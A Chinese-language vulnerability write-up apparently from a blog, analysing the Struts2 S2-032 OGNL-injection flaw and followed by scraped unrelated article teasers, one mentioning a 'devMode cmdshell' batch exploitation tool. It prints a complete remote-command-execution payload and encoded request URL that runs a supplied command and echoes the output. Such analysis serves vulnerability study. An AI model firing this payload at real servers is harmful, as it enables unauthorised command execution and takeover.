前言

S2-032漏洞的影响范围是Struts 2.3.20 - Struts Struts 2.3.28,当开启了动态方法调用时可RCE。这次的漏洞分析以及后面的漏洞分析都是使用的Struts 2.3.24。在我们的第一篇文章中就讲过invokeAction方法是真正执行action中方法的地方,而低版本中式通过反射的方法来执行的,高版本中式通过Ognl表达式执行的,所以这次的S2-032并不影响低版本的Struts2。另外,还是建议读者阅读本篇文章前先看下系列文章的第一篇。

正文

还记得S2-016、S2-017漏洞产生的原因吗?Struts2在执行action之前,需要先调用getmapping获取actionmapper才能找到对应的action,其中又调用了handleSpecialParameters方法解析了请求中的四个特殊参数,S2-016、S2-017和其中的redirect:以及redirect:action两个特殊参数有关,而这次的S2-032则和另外一个参数method相关。

可以看到,当开启了动态方法调用时(196行处),且请求参数匹配到了method:时,会将后面的字符串作为action的method放入mapping中,这里是我们可以控制的地方,也就是source点了。

中间的流程我们就不分析了,在第一篇文章中已经分析过了。直接进入到DefaultActionInvocation.invokeAction()中:

可以看到,较高版本中是通过调用ognlUtil.getValue方法来执行action中的method的,跟进该方法

很直白地调用了Ognl.getValue。poc很好构造只需要构造字符串闭合后面的()就好了

windows有回显poc:

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()),#str=#s.hasNext()?#s.next():#xx,#w.print(#str),#w.close(),1?#xx:#request.toString&cmd=whoami

localhost:8088/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c%23w%3d%23res.getWriter()%2c%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c%23str%3d%23s.hasNext()%3f%23s.next()%3a%23xx%2c%23w.print(%23str)%2c%23w.close()%2c1%3f%23xx%3a%23request.toString&cmd=whoami

S2-032的更多相关文章

  1. s2 devMode cmdshell

    s2 devMode cmdshell   仅支持批量验证,命令执行 链接:http://pan.baidu.com/s/1sl7tgRV 密码:wud8 也可以通过outscan一键获取,之后导入t ...

  2. 电源相关知识—S0、S1(POS)、S2、S3(STR)、 S4、S5、睡眠、休眠、待机

    转 http://blog.sina.com.cn/s/blog_52f28dde0100l3ci.html APM https://en.wikipedia.org/wiki/Advanced_Po ...

  3. 判断s2是否能够被通过s1做循环移位(rotate)得到的字符串是否包含

    问题:给定两个字符串s1和s2,要求判断s2是否能够被通过s1做循环移位(rotate)得到的字符串包含.例如,S1=AABCD和s2=CDAA,返回true:给定s1=ABCD和s2=ACBD,返回 ...

  4. S2 易买网总结

    易买网项目总结 --指导老师:原玉明 不知不觉,又到了S2结业的时间了,S1的项目KTV项目还历历在目.一路走来,感觉时间过的好快,我们离就业也越来越近... 展示: 1.主页面(首页) 01.商品分 ...

  5. 445. Add Two Numbers II ——while s1 or s2 or carry 题目再简单也要些测试用例

    You are given two linked lists representing two non-negative numbers. The most significant digit com ...

  6. php大力力 [032节] php设计时候遇见麻烦:XQB50-H8268 进水电磁阀

    海信洗衣机 无法进水,刚才写程序,洗衣机不进水,在叫唤,去看了看,上网查了查,估计是进水电磁阀坏了. 打算自己拆了查出型号,淘宝买,自己修. 想起以前洗衣机坏了,找人修,对方报价好几百,淘宝看洗衣机主 ...

  7. 写一个函数,实现两个字符串的比较。即实现strcmp函数,s1=s2时返回0,s1!=s2时返回二者第一个不同字符的ASCII值。

    #include<stdio.h> #include<stdlib.h> int main(){ setvbuf(stdout,NULL,_IONBF,); ],s2[]; i ...

  8. 【面试题032】从1到n整数中1出现的次数

    [面试题032]从1到n整数中1出现的次数 题目:     输入一个整数n,求从1到n这n个整数的十进制表示中1出现的次数.     例如输入12,从1到12这些整数中包含1的数字有1,10,11和1 ...

  9. ACPI电源管理中的S0 S1 S2 S3 S4 S5

    电源选项中S0,S1,S2,S3,S4,S5的含义以 ACPI 的规格来说吧!ACPI(Advanced Configuration and Power Interface),即高级配置与电源接口.这 ...

  10. [LeetCode] 032. Longest Valid Parentheses (Hard) (C++)

    指数:[LeetCode] Leetcode 指标解释 (C++/Java/Python/Sql) Github: https://github.com/illuz/leetcode 032. Lon ...

随机推荐

  1. Realsense D430 save

    rs-save-to-disk.cpp // License: Apache 2.0. See LICENSE file in root directory. // Copyright(c) 2015 ...

  2. 36 Flutter仿京东商城项目 用户登录 退出登录 事件广播更新状态

    Login.dart import 'dart:convert'; import 'package:dio/dio.dart'; import 'package:flutter/material.da ...

  3. Spring事务的隔离级别和传播机制

    七个传播机制:(红色字体的代表如果不设置传播机制时候默认的)PROPAGATION_REQUIRED-支持当前事务;如果不存在,创建一个新的. PROPAGATION_SUPPORTS-支持当前事务; ...

  4. DN创建

    1. 参考采购订单创建DN : BAPI_OUTB_DELIVERY_CREATE_STO FUNCTION zmmfm0202. *"--------------------------- ...

  5. iOS定时器按钮短时间内多次点击只触发一次事件方法

    今天在看别人代码的时候,有个个60秒获取验证码的功能,做了个定时器,按钮触发定时器,点击按钮后设置按钮的enabled为NO,逻辑来讲都是没问题的 但是实际操作的时候,恶意的在短时间内多次点击那个获取 ...

  6. POJ2449 【第k短路/A*】

    题目链接:http://poj.org/problem?id=2449 题目大意: 给出n个点,m条有向边,最后一行给出起点到终点的第k短路.求长度. 题解思路: 这是我第一道第k短路题以及A*算法的 ...

  7. 1、2 建立list(RestController),并postman测试

    1.主义实体类id   为String 类型(有用) @Entity(name = "t_student") public class Student { @Id private ...

  8. JSP入门基础知识详细版(通俗易懂)

    JSP 第一篇: 概述.原理.周期.指令.行为.内置对象.JavaBean (一) JSP概述以及简单使用 什么是JSP? JSP全名为Java Server Pages,java服务器页面.JSP是 ...

  9. C++基础--函数重载

    函数重载定义: 在相同的作用域中具有相同的函数名而函数形参列表(参数类型.参数个数.参数顺序)不同的两个函数,称之为函数重载.注意:函数返回值类型并不是重载的条件. 函数重载优点: 可以使用相同的函数 ...

  10. git 显示文件改动,但无具体改动信息

     事件:        同步代码,进行了换行符替换 过程 : 同步代码,在正式服务器的 git 分支基础上创建新的分支,按照同步代码流程,将对方代码换行符转换(对方mac,我方windows) 替换需 ...